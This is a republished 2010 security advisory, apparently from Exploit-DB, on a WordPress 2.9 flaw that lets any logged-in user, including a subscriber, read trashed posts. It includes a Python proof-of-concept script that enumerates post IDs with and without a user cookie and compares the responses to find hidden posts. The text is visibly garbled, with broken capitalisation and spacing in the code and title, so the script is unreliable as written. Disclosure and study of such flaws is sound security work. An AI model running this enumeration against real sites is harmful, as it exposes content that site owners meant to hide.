WordPress & amp; gt; = 2.9 Failure to Restrict URL

Source: Internet
Author: User

# Title: WordPress> = 2.9 Failure to Restrict URL Access
# EDB-ID: 11441
# CVE-ID :()
# OSVDB-ID :()
# Author: tmacuk
# Published: 2010-02-13
# Verified: no
# Download Exploit Code
# Download N/

View source print? WordPress> = 2.9 Failure to Restrict URL Access
Http://www.thomasmackenzie.co.uk/
 
 
1. * Advisory Information *
 
Title: WordPress> = 2.9 Failure to Restrict URL Access
Date published:
 
 
2. * Vulnerability Information *
 
Class: Failure to Restrict URL Access
Remotely Exploitable: Yes
Locally Exploitable: Yes
 
 
3. * Software Description *
 
WordPress is a state-of-the-art publishing platform with
Focus on aesthetics, web standards, and usability. WordPress
Is both free and priceless at the same time. [0]
 
 
4. * Vulnerability Description *
 
Frequently, the only protection for a URL is that links to that page
Are not presented to unauthorized users. Security by obscurity is
Not sufficient to protect sensitive functions and data in an application.
Access control checks must be passed med before a request to a sensitive
Function is granted, which ensures that the user is authorized to access
That function. [1]
 
 
5. * Vulnerable packages *
 
Versions> = 2.9
 
 
6. * Non-vulnerable packages *
 
Versions <2.9
 
 
7. * Vulnerability Overview *
 
Since version 2.9 a new feature was implemented so that users
Were able to retrieve posts that they may have deleted by accident.
This new feature was labeled trash. Any posts that are placed
The trash are only viewable by authenticated privileged users.
 
 
8. * Technical Description *
 
When WordPress implemented the new feature they failed to change
Permissions granted when the post is in the trash. This means that
An unauthenticated user cannot see the post, however an authenticated
User can no matter what privileges they have, even subcriber.
 
"Subscriber [User Level 0]-Somebody who can read
Comments/comment/receive news letters, etc. "[2]
 
 
9. * PoC *
 
#/Usr/bin/python
#
# WordPress> 2.9 Failure to Restrict URL Access PoC
#
# This script iterates through the WP post IDs as an authenticated
And unauthenticated user.
# If the requests differ a Trash post has been found.
#
# You will need an authenticated user cookie of any privilege to run
This script.
#
# Example cookie:
# Wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3 = test % 7C1266245173% 7C990157a59700a69edbf133aa22fca1f8
#
# Will only work with WP URLs with /? P = {int} parameter. wocould
Need to handle redirects (3xx) to handle all URL types.
#
#
# Research/PoC/Advisory By: Tom macenzie (tmacuk) and Ryan Dewhurst
(Ethicalhack3r)
 
Import httplib
 
# Declare vars
BlogURL = "www.example.com"
UserCookie = "ENTER_COOKIE_HERE"
PostID = 0 # Leave at 0
 
Conn = httplib. HTTPConnection (blogURL)
Headers = {"Cookie": userCookie}
 
Print
Print "Target = http: //" + blogURL + "/? P = "+ str (postID)
Print
 
While 1:
 
# Start non authenticated enumeration
 
Request = /? P = + str (postID)
Conn. request ("GET", request ,"")
 
Try:
R1 = conn. getresponse ()
Except t:
Print "Connection error"
 
Data1 = r1.read ()
 
# Start authenticated enumeration
 
Conn. request ("GET", request, None, Headers)
 
Try:
R2 = conn. getresponse ()
Except t:
Print "Connection error"
 
Data2 = r2.read ()
 
# Compare the HTML body reponses
 
If data1! = Data2:
Print "+ Found! Http: // "+ blogURL + request
Else:
Print request
 
PostID + = 1
 
Conn. close ()
 
 
10. * Credits *
 
Thomas macenzie (tmacuk)-http://www.thomasmackenzie.co.uk/
Original finder and tester.
 
Ryan Dewhurst (ethicalhack3r)-http://www.ryandewhurst.co.uk/
PoC creation and analysis.
 
Arron Finnon (f1nux)-http://www.finux.co.co.uk/
Helped with documentation.
 
Matthew Hughes-http://www.matthewhughes.co.uk/
Helped with documentation.
 
Robin Wood (digininja)-http://www.diginija.org/
Helped identify the vulnerability type.
 
 
11. * References *
 
[0] http://wordpress.org/
[1] asp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access "> http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
[2] http://codex.wordpress.org/Roles_and_Capabilities
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.